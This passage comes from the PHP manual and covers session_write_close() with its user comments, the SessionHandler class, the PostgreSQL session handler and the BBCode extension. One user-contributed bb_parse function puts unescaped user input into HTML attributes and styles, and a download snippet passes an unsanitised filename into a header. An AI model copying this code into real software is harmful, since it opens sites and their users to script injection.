session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* Make sure data is actually flushed out to the browser */
ob_end_flush();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
risaac at deadletter dot com 04-Apr-2006 12:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com 23-Dec-2005 09:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
    session_write_close();
    require_once('path/to/classes/'.$to_require.'.php');
    session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
cenaculo at netcabo dot pt 23-Jul-2005 03:32
This function is essencial when you change $_SESSION[] variables and then, at some poit in the middle of the script, you send an header("Location: http://...") function to the browser, because in this case the session variables may not be saved before the browser change to the new page.

To prevent from lossing session data, allways use session_write_close before this header function. session_write_close will force session data to be saved before the browser change to the new page.

Hope this will help you not to loose 1 day wondering why people could not authenticate or make other changes in session vars in your site.
bkatz at usefulengineering dot com 16-Jul-2005 08:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca 15-May-2005 01:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan 06-May-2004 09:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
jp at webgraphe dot com 21-Nov-2003 03:50
It is a good idea to call session_write_close() before proceeding to a redirection using

header("Location: URL");
exit();

because it ensures the session is updated (in a file or into a database, depending on the handler you're using) BEFORE you redirect the visitor somewhere else.

JP.
nakanishi at mailstyle dot com 18-Jan-2003 11:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.
19-Apr-2002 07:48
This function is very useful for session objects. The class def'n of an obj needs to be included before the session is started. You can ignore this by closing the session with this function, and then use session_start() to restart it. Do this after including the class definition, but before using the session variable.
session_unset
SessionHandler
Session Functions


The SessionHandler class

(No version information available, might only be in SVN)

Introduction

Class synopsis

SessionHandler {
/* Methods */
public int close ( void )
public int destroy ( string $sessionid )
public int gc ( int $maxlifetime )
public int open ( string $save_path , string $sessionid )
public string read ( string $sessionid )
public int write ( string $sessionid , string $sessiondata )
}

Table of Contents

  • SessionHandler::close — Close the session
  • SessionHandler::destroy — Destroy a session
  • SessionHandler::gc — Cleanup old sessions
  • SessionHandler::open — Initialize session
  • SessionHandler::read — Read session data
  • SessionHandler::write — The write purpose

User Contributed Notes

There are no user contributed notes for this page.
session_write_close
SessionHandler::close
Sessions


Close the session

SessionHandler
SessionHandler::destroy
SessionHandler
PHP Manual

SessionHandler::close

(PHP 5 >= 5.4.0)

SessionHandler::close — Close the session

Description

public int SessionHandler::close ( void )

Closes the current session. This function is automaticaly executed when closing the session, or explicitly via session_write_close().

Parameters

This function has no parameters.

Return Values

The return value of the session storage (usually 0 on success, 1 on failure).

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler
SessionHandler::destroy
SessionHandler


Destroy a session

SessionHandler::close
SessionHandler::gc
SessionHandler
PHP Manual

SessionHandler::destroy

(PHP 5 >= 5.4.0)

SessionHandler::destroy — Destroy a session

Description

public int SessionHandler::destroy ( string $sessionid )

Destroys a session. Called by session_regenerate_id(), session_destroy() and when session_decode() fails.

Parameters

sessionid

The session ID being destroyed.

Return Values

The return value of the session storage (usually 0 on success, 1 on failure).

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::close
SessionHandler::gc
SessionHandler


Cleanup old sessions

SessionHandler::destroy
SessionHandler::open
SessionHandler
PHP Manual

SessionHandler::gc

(PHP 5 >= 5.4.0)

SessionHandler::gc — Cleanup old sessions

Description

public int SessionHandler::gc ( int $maxlifetime )

Cleans up expired sessions. Called by session_start(), based on session.gc_divisor and session.gc_probability settings.

Parameters

maxlifetime

Sessions that have not updated for the last maxlifetime seconds will be removed.

Return Values

The return value of the session storage (usually 0 on success, 1 on failure).

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::destroy
SessionHandler::open
SessionHandler


Initialize session

SessionHandler::gc
SessionHandler::read
SessionHandler
PHP Manual

SessionHandler::open

(PHP 5 >= 5.4.0)

SessionHandler::open — Initialize session

Description

public int SessionHandler::open ( string $save_path , string $sessionid )

Re-initialize existing session, or creates a new one. Called from session_start().

Parameters

save_path

The path where to store/retrieve the session.

sessionid

The session id.

Return Values

The return value of the session storage (usually 0 on success, 1 on failure).

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::gc
SessionHandler::read
SessionHandler


Read session data

SessionHandler::open
SessionHandler::write
SessionHandler
PHP Manual

SessionHandler::read

(PHP 5 >= 5.4.0)

SessionHandler::read — Read session data

Description

public string SessionHandler::read ( string $sessionid )

Reads the session data from the session storage, and returns the results. Called right after session_start().

Parameters

sessionid

The session id to read data for.

Return Values

Returns the read data.

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::open
SessionHandler::write
SessionHandler


The write purpose

SessionHandler::read
Session PgSQL
SessionHandler
PHP Manual

SessionHandler::write

(PHP 5 >= 5.4.0)

SessionHandler::write — The write purpose

Description

public int SessionHandler::write ( string $sessionid , string $sessiondata )

Writes the session data to the session storage. Called by session_write_close(), when session_register_shutdown() fails, and during request shutdown.

Parameters

sessionid

The session id.

val

The (session_encode()d) session data.

Return Values

The return value of the session storage (usually 0 on success, 1 on failure).

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::read
Session PgSQL
SessionHandler


PostgreSQL Session Save Handler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Table definitions
  • Predefined Constants
  • Session PgSQL Functions
    • session_pgsql_add_error — Increments error counts and sets last error message
    • session_pgsql_get_error — Returns number of errors and last error message
    • session_pgsql_get_field — Get custom field value
    • session_pgsql_reset — Reset connection to session database servers
    • session_pgsql_set_field — Set custom field value
    • session_pgsql_status — Get current save handler status

User Contributed Notes

There are no user contributed notes for this page.
SessionHandler::write
Introduction
Session Extensions


Introduction

Note: This extension is not available on Windows platforms.

This module provides an additional session save handler for the session module using » PostgreSQL as a storage system. A user-level session storage function may also be used - session_set_save_handler(), but this module is written in C and therefore could be twice as fast, compared to a session save handler written in PHP.

Session PgSQL is designed to scale any size of web sites and offers some advanced features:

  • session tables are created automatically
  • automatic session table vacuum
  • better garbage collection
  • multiple PostgreSQL servers support
  • automatic database server failover (switching)
  • automatic database server load balancing if there are multiple PostgreSQL servers.
  • short circuit UPDATE

User Contributed Notes

There are no user contributed notes for this page.
Session PgSQL
Installing/Configuring
Session PgSQL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Session PgSQL


Requirements

You need at least PHP >= 4.3.0, and PostgreSQL >=7.2.0 as database server. libpq that comes with PostgreSQL 7.2.0 or later (and header files to build) and » libmm (and header files).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/session_pgsql.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PostgreSQL session save handler is still under development. Refer to the README file in the source distribution for configuration details.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Table definitions
Installing/Configuring


Table definitions

Session table definition

CREATE TABLE php_session (
 sess_id            text,
 sess_name          text,
 sess_data          text,
 sess_created       integer,
 sess_modified      integer,
 sess_expire        integer,
 sess_addr_created  text,
 sess_addr_modified text,
 sess_counter       integer,
 sess_error         integer,
 sess_warning       integer,
 sess_notice        integer,
 sess_err_message   text,
 sess_custom        text
);

CREATE INDEX php_session_idx ON php_session USING BTREE (sess_id);

Warning

If you use HASH for INDEX, you'll have a deadlock problem when the server load is very high. Even if it's unlikely to have a deadlock under normal operation, it can occur. Do not use HASH for INDEX.

You may change the session table as long as all fields are defined.

Application variables table definition

CREATE TABLE php_app_vars (
 app_modified       integer,
 app_name           text,
 app_vars           text
);

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Predefined Constants
Session PgSQL


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Table definitions
Session PgSQL Functions
Session PgSQL


Session PgSQL Functions

Contact Information

I have at the moment not very much time to further develop this extension. I will implement more and more features in the near future.

If you have comments, bug fixes, enhancements or want to help developing this, you can drop me a mail at » yohgaki@php.net. Any help is very welcome.

Table of Contents

  • session_pgsql_add_error — Increments error counts and sets last error message
  • session_pgsql_get_error — Returns number of errors and last error message
  • session_pgsql_get_field — Get custom field value
  • session_pgsql_reset — Reset connection to session database servers
  • session_pgsql_set_field — Set custom field value
  • session_pgsql_status — Get current save handler status

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
session_pgsql_add_error
Session PgSQL


Increments error counts and sets last error message

Session PgSQL Functions
session_pgsql_get_error
Session PgSQL Functions
PHP Manual

session_pgsql_add_error

(PECL session_pgsql SVN)

session_pgsql_add_error — Increments error counts and sets last error message

Description

bool session_pgsql_add_error ( int $error_level [, string $error_message ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

error_level

error_message

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_pgsql_get_error() - Returns number of errors and last error message

User Contributed Notes

There are no user contributed notes for this page.
Session PgSQL Functions
session_pgsql_get_error
Session PgSQL Functions


Returns number of errors and last error message

session_pgsql_add_error
session_pgsql_get_field
Session PgSQL Functions
PHP Manual

session_pgsql_get_error

(PECL session_pgsql SVN)

session_pgsql_get_error — Returns number of errors and last error message

Description

array session_pgsql_get_error ([ bool $with_error_message = false ] )

Get the number of errors and optional the error messages.

Parameters

with_error_message

Set to TRUE the literal error message for each error is also returned.

Return Values

The number of errors are returned as array.

See Also

  • session_pgsql_add_error() - Increments error counts and sets last error message

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_add_error
session_pgsql_get_field
Session PgSQL Functions


Get custom field value

session_pgsql_get_error
session_pgsql_reset
Session PgSQL Functions
PHP Manual

session_pgsql_get_field

(PECL session_pgsql SVN)

session_pgsql_get_field — Get custom field value

Description

string session_pgsql_get_field ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • session_pgsql_set_field() - Set custom field value

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_get_error
session_pgsql_reset
Session PgSQL Functions


Reset connection to session database servers

session_pgsql_get_field
session_pgsql_set_field
Session PgSQL Functions
PHP Manual

session_pgsql_reset

(PECL session_pgsql SVN)

session_pgsql_reset — Reset connection to session database servers

Description

bool session_pgsql_reset ( void )

Reset the connection to the session database servers.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_get_field
session_pgsql_set_field
Session PgSQL Functions


Set custom field value

session_pgsql_reset
session_pgsql_status
Session PgSQL Functions
PHP Manual

session_pgsql_set_field

(PECL session_pgsql SVN)

session_pgsql_set_field — Set custom field value

Description

bool session_pgsql_set_field ( string $value )
Warning

This function is currently not documented; only its argument list is available.

Parameters

value

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • session_pgsql_get_field() - Get custom field value

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_reset
session_pgsql_status
Session PgSQL Functions


Get current save handler status

session_pgsql_set_field
Text Processing
Session PgSQL Functions
PHP Manual

session_pgsql_status

(PECL session_pgsql SVN)

session_pgsql_status — Get current save handler status

Description

array session_pgsql_status ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_set_field
Text Processing
Session PgSQL Functions


Text Processing

  • BBCode — Bulletin Board Code
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • BBCode Functions
  • PCRE — Regular Expressions (Perl-Compatible)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PCRE Patterns
    • PCRE Functions
  • POSIX Regex — Regular Expression (POSIX Extended)
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • POSIX Regex Functions
  • ssdeep — ssdeep Fuzzy Hashing
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ssdeep Functions
  • Strings
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • String Functions

User Contributed Notes

There are no user contributed notes for this page.
session_pgsql_status
BBCode
Function Reference


Bulletin Board Code

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • BBCode Functions
    • bbcode_add_element — Adds a bbcode element
    • bbcode_add_smiley — Adds a smiley to the parser
    • bbcode_create — Create a BBCode Resource
    • bbcode_destroy — Close BBCode_container resource
    • bbcode_parse — Parse a string following a given rule set
    • bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing
    • bbcode_set_flags — Set or alter parser options

User Contributed Notes

There are no user contributed notes for this page.
Text Processing
Introduction
Text Processing


Introduction

This extension aims to help parse BBCode text in order to convert it to HTML or another markup language. It uses one pass parsing and provides great speed improvement over the common approach based on regular expressions. Further more, it helps provide valid HTML by reordering open / close tags and by automatically closing unclosed tags.

Since 0.10.1 It supports argument quoting with single quotes, double quotes and HTML escaped double quotes.

User Contributed Notes

Chris 03-Sep-2008 03:05
As far as I can tell this extension requires version 5.2.0 or higher.
It doesn't seem to be stated here anywhere but if you try to use pear to install it then you'll get a message saying that. This has caused me a bunch of grief as I'm not in a position to upgrade on some systems but already have this coded in on other systems.
BBCode
Installing/Configuring
BBCode


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
BBCode


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/bbcode

An alternative solution, written in PHP, is the PEAR package » HTML_BBCodeParser.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

One resource is used in the BBCode extension: a BBCode_Container returned by bbcode_create().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

BBCODE_TYPE_NOARG (integer)
This BBCode tag does not accept any arguments.
BBCODE_TYPE_SINGLE (integer)
This BBCode tag does not have a corresponding close tag.
BBCODE_TYPE_ARG (integer)
This BBCode tag need an argument.
BBCODE_TYPE_OPTARG (integer)
This BBCode tag accept an optional argument.
BBCODE_TYPE_ROOT (integer)
This BBCode tag is the special tag root (nesting level 0).
BBCODE_FLAGS_ARG_PARSING (integer)
This BBCode tag require argument sub-parsing (the argument is also parsed by the BBCode extension). As Of 0.10.2 another parser can be used as argument parser.
BBCODE_FLAGS_CDATA_NOT_ALLOWED (integer)
This BBCode Tag does not accept content (it voids it automatically).
BBCODE_FLAGS_SMILEYS_ON (integer) - since 0.10.2
This BBCode Tag accepts smileys.
BBCODE_FLAGS_SMILEYS_OFF (integer) - since 0.10.2
This BBCode Tag does not accept smileys.
BBCODE_FLAGS_ONE_OPEN_PER_LEVEL (integer) - since 0.10.2
This BBCode Tag automatically closes if another tag of the same type is found at the same nesting level.
BBCODE_FLAGS_REMOVE_IF_EMPTY (integer) - since 0.10.2
This BBCode Tag is automatically removed if content is empty it allows to produce lighter HTML.
BBCODE_FLAGS_DENY_REOPEN_CHILD (integer) - since 0.10.3
This BBCode Tag does not allow unclosed children to reopen when automatically closed.
BBCODE_ARG_DOUBLE_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with double quotes (")
BBCODE_ARG_SINGLE_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with single quotes (')
BBCODE_ARG_HTML_QUOTE (integer) - since 0.10.2
This is a parser option allowing argument quoting with HTML version of double quotes (&quot;)
BBCODE_ARG_QUOTE_ESCAPING (integer) - since 1.0.2
This is a parser option allowing argument quotes to be escaped this permit the quote delimiter to be found in the string escaping character is \ it can escape any quoting character or itself, if found in front of a non escapable character, it will be dropped. Default behaviour is not to use escaping.
BBCODE_AUTO_CORRECT (integer) - since 0.10.2
This is a parser option changing the way errors are treated. It automatically closes tag in the order they are opened. And treat tags with only an open tag as if there were a close tag present.
BBCODE_CORRECT_REOPEN_TAGS (integer) - since 0.10.2
This is a parser option changing the way errors are treated. It automatically reopens tag if close tags are not in the good order.
BBCODE_DISABLE_TREE_BUILD (integer) - since 0.10.2
This is a parser option disabling the BBCode parsing it can be useful if only the "smiley" replacement must be used.
BBCODE_DEFAULT_SMILEYS_ON (integer) - since 0.10.2
This is a parser option setting smileys to ON if no flag is given at tag level.
BBCODE_DEFAULT_SMILEYS_OFF (integer) - since 0.10.2
This is a parser option setting smileys to OFF if no flag is given at tag level.
BBCODE_FORCE_SMILEYS_OFF (integer) - since 0.10.2
This is a parser option disabling completely the smileys parsing.
BBCODE_SMILEYS_CASE_INSENSITIVE (integer) - since 0.10.3
Use a case insensitive Detection for smileys instead of a simple binary search.
BBCODE_SET_FLAGS_SET (integer) - since 0.10.2
This permits to SET the complete flag set on a parser.
BBCODE_SET_FLAGS_ADD (integer) - since 0.10.2
This permits to switch a flag set ON on a parser.
BBCODE_SET_FLAGS_REMOVE (integer) - since 0.10.2
This permits to switch a flag set OFF on a parser.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
BBCode Functions
BBCode


BBCode Functions

Table of Contents

  • bbcode_add_element — Adds a bbcode element
  • bbcode_add_smiley — Adds a smiley to the parser
  • bbcode_create — Create a BBCode Resource
  • bbcode_destroy — Close BBCode_container resource
  • bbcode_parse — Parse a string following a given rule set
  • bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing
  • bbcode_set_flags — Set or alter parser options

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
bbcode_add_element
BBCode


Adds a bbcode element

BBCode Functions
bbcode_add_smiley
BBCode Functions
PHP Manual

bbcode_add_element

(PECL bbcode >= 0.9.0)

bbcode_add_element — Adds a bbcode element

Description

bool bbcode_add_element ( resource $bbcode_container , string $tag_name , array $tag_rules )

Adds a tag to an existing BBCode_Container tag_set using tag_rules.

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

tag_name

The new tag to add to the BBCode_Container tag_set.

tag_rules

An associative array containing the parsing rules; see bbcode_create() for the available keys.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
BBCode Functions
bbcode_add_smiley
BBCode Functions


Adds a smiley to the parser

bbcode_add_element
bbcode_create
BBCode Functions
PHP Manual

bbcode_add_smiley

(PECL bbcode >= 0.10.2)

bbcode_add_smiley — Adds a smiley to the parser

Description

bool bbcode_add_smiley ( resource $bbcode_container , string $smiley , string $replace_by )

Adds a smiley to the parser

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

smiley

The string that will be replaced when found.

replace_by

The string that replace smiley when found.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_add_smiley() usage example

<?php
/*
 * Prepare the rule set
 */
$arrayBBCode=array(
    ''=>         array('type'=>BBCODE_TYPE_ROOT,
                       'childs'=>'!i'),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>',
                       'close_tag'=>'</b>'),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>',
                       'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>',
                       'close_tag'=>'</i>',
                       'childs'=>'b'),
);
/*
 * Parsed Text
 */
$text=<<<EOF
[i] No parse Test [/i] :)
[b] Parsed, with smiley :( [/b]
[u] Parsed, with no smiley :D [/u]
EOF;
/*
 * Init the parser
 */
$BBHandler=bbcode_create($arrayBBCode);
/*
 * Add Smiley rules to parser
 */
bbcode_add_smiley($BBHandler, ":)", "<img src=\"smiley.gif\" alt=\":)\" />");
bbcode_add_smiley($BBHandler, ":(", "<img src=\"sad.gif\" alt=\":(\" />");
bbcode_add_smiley($BBHandler, ":D", "<img src=\"happy.gif\" alt=\":D\" />");
bbcode_add_smiley($BBHandler, ":p", "<img src=\"tong.gif\" alt=\":p\" />");
bbcode_add_smiley($BBHandler, ":|", "<img src=\"special.gif\" alt=\":|\" />");
bbcode_add_smiley($BBHandler, ":6:", "<img src=\"six.gif\" alt=\":6:\" />");
/*
 * Parse the text
 */
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<i> No parse Test </i> <img src="smiley.gif" alt=":)" />
<b> Parsed, with smiley <img src="sad.gif" alt=":(" /> </b>
<u> Parsed, with no smiley :D </u>

User Contributed Notes

There are no user contributed notes for this page.
bbcode_add_element
bbcode_create
BBCode Functions


Create a BBCode Resource

bbcode_add_smiley
bbcode_destroy
BBCode Functions
PHP Manual

bbcode_create

(PECL bbcode >= 0.9.0)

bbcode_create — Create a BBCode Resource

Description

resource bbcode_create ([ array $bbcode_initial_tags ] )

This function returns a new BBCode Resource used to parse BBCode strings.

Parameters

bbcode_initial_tags

An associative array containing the tag names as keys and parameters required to correctly parse BBCode as their value. The following key/value pairs are supported:

  • flags optional - a flag set based on the BBCODE_FLAGS_* constants.
  • type required - an int indicating the type of tag. Use the BBCODE_TYPE_* constants.
  • open_tag required - the HTML replacement string for the open tag.
  • close_tag required - the HTML replacement string for the close tag.
  • default_arg optional - use this value as the default argument if none is provided and tag_type is of type OPTARG.
  • content_handling optional - Gives the callback used for modification of the content. Object Oriented Notation supported only since 0.10.1 callback prototype is string name(string $content, string $argument)
  • param_handling optional - Gives the callback used for modification of the argument. Object Oriented Notation supported only since 0.10.1 callback prototype is string name(string $content, string $argument)
  • childs optional - List of accepted children for the tag. The format of the list is a comma separated string. If the list starts with ! it will be the list of rejected children for the tag.
  • parent optional - List of accepted parents for the tag. The format of the list is a comma separated string.

Return Values

Returns a BBCode_Container

Examples

Example #1 bbcode_create() example

<?php
$arrayBBCode=array(
    ''=>         array('type'=>BBCODE_TYPE_ROOT,  'childs'=>'!i'),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG, 'open_tag'=>'<i>',
                    'close_tag'=>'</i>', 'childs'=>'b'),
    'url'=>      array('type'=>BBCODE_TYPE_OPTARG,
                    'open_tag'=>'<a href="{PARAM}">', 'close_tag'=>'</a>',
                    'default_arg'=>'{CONTENT}',
                    'childs'=>'b,i'),
    'img'=>      array('type'=>BBCODE_TYPE_NOARG,
                    'open_tag'=>'<img src="', 'close_tag'=>'" />',
                    'childs'=>''),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG, 'open_tag'=>'<b>',
                    'close_tag'=>'</b>'),
);
$text=<<<EOF
[b]Bold Text[/b]
[i]Italic Text[/i]
[url]http://www.php.net/[/url]
[url=http://pecl.php.net/][b]Content Text[/b][/url]
[img]http://static.php.net/www.php.net/images/php.gif[/img]
[url=http://www.php.net/]
[img]http://static.php.net/www.php.net/images/php.gif[/img]
[/url]
EOF;
$BBHandler=bbcode_create($arrayBBCode);
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<b>Bold Text</b>
[i]Italic Text[/i]
<a href="http://www.php.net/">http://www.php.net/</a>
<a href="http://pecl.php.net/"><b>Content Text</b></a>
<img src="http://static.php.net/www.php.net/images/php.gif" />
<a href="http://www.php.net/">
[img]http://static.php.net/www.php.net/images/php.gif[/img]
</a>

User Contributed Notes

rothenbergxxx at gmail dot com 04-Sep-2009 10:58
For those without the BBCode extension, here's a relatively elegant function to do the trick.
Keep in mind that if you're using XHTML and one of your users tries to overlap lags <b>Like <i>so</b></i>, it will invalidate your markup. Still working on an expression for this.

<?php
    function bb_parse($string) {
        $tags = 'b|i|size|color|center|quote|url|img';
        while (preg_match_all('`\[('.$tags.')=?(.*?)\](.+?)\[/\1\]`', $string, $matches)) foreach ($matches[0] as $key => $match) {
            list($tag, $param, $innertext) = array($matches[1][$key], $matches[2][$key], $matches[3][$key]);
            switch ($tag) {
                case 'b': $replacement = "<strong>$innertext</strong>"; break;
                case 'i': $replacement = "<em>$innertext</em>"; break;
                case 'size': $replacement = "<span style=\"font-size: $param;\">$innertext</span>"; break;
                case 'color': $replacement = "<span style=\"color: $param;\">$innertext</span>"; break;
                case 'center': $replacement = "<div class=\"centered\">$innertext</div>"; break;
                case 'quote': $replacement = "<blockquote>$innertext</blockquote>" . $param? "<cite>$param</cite>" : ''; break;
                case 'url': $replacement = '<a href="' . ($param? $param : $innertext) . "\">$innertext</a>"; break;
                case 'img':
                    list($width, $height) = preg_split('`[Xx]`', $param);
                    $replacement = "<img src=\"$innertext\" " . (is_numeric($width)? "width=\"$width\" " : '') . (is_numeric($height)? "height=\"$height\" " : '') . '/>';
                break;
                case 'video':
                    $videourl = parse_url($innertext);
                    parse_str($videourl['query'], $videoquery);
                    if (strpos($videourl['host'], 'youtube.com') !== FALSE) $replacement = '<embed src="http://www.youtube.com/v/' . $videoquery['v'] . '" type="application/x-shockwave-flash" width="425" height="344"></embed>';
                    if (strpos($videourl['host'], 'google.com') !== FALSE) $replacement = '<embed src="http://video.google.com/googleplayer.swf?docid=' . $videoquery['docid'] . '" width="400" height="326" type="application/x-shockwave-flash"></embed>';
                break;
            }
            $string = str_replace($match, $replacement, $string);
        }
        return $string;
    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (ramonvandam AT gmail DOT com) on 04-SEP-09 to address an improperly-defined parameter.  Also contains a bugfix provided by (pompei2 AT gmail DOT com) on 15-FEB-10 to address improperly-closed tags.  Plus, contains another bugfix provided by (angad AT wootify DOT com) on 18-JUL-2011 to fix an issue where unsupported tags provided to the function could cause the script to time out.]
bbcode_add_smiley
bbcode_destroy
BBCode Functions


Close BBCode_container resource

bbcode_create
bbcode_parse
BBCode Functions
PHP Manual

bbcode_destroy

(PECL bbcode >= 0.9.0)

bbcode_destroy — Close BBCode_container resource

Description

bool bbcode_destroy ( resource $bbcode_container )

This function closes the resource opened by bbcode_create().

Parameters

bbcode_container

BBCode_Container resource returned by bbcode_create().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
bbcode_create
bbcode_parse
BBCode Functions


Parse a string following a given rule set

bbcode_destroy
bbcode_set_arg_parser
BBCode Functions
PHP Manual

bbcode_parse

(PECL bbcode >= 0.9.0)

bbcode_parse — Parse a string following a given rule set

Description

string bbcode_parse ( resource $bbcode_container , string $to_parse )

This function parse the string to_parse following the rules in the bbcode_container created by bbcode_create()

Parameters

bbcode_container

BBCode_Container resource returned by bbcode_create().

to_parse

The string we need to parse.

Return Values

Returns the parsed string, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
bbcode_destroy
bbcode_set_arg_parser
BBCode Functions


Attach another parser in order to use another rule set for argument parsing

bbcode_parse
bbcode_set_flags
BBCode Functions
PHP Manual

bbcode_set_arg_parser

(PECL bbcode >= 0.10.2)

bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing

Description

bool bbcode_set_arg_parser ( resource $bbcode_container , resource $bbcode_arg_parser )

Attaches another parser to the bbcode_container. This parser is used only when arguments must be parsed. If this function is not used, the default argument parser is the parser itself.

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

bbcode_arg_parser

BBCode_Container resource, returned by bbcode_create(). It will be used only for parsed arguments

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_set_arg_parser() usage example

<?php
/*
 * Generating bbcode ruleset for main parser
 */
$arrayBBCode=array(
    'quote'=>    array('type'=>BBCODE_TYPE_ARG,
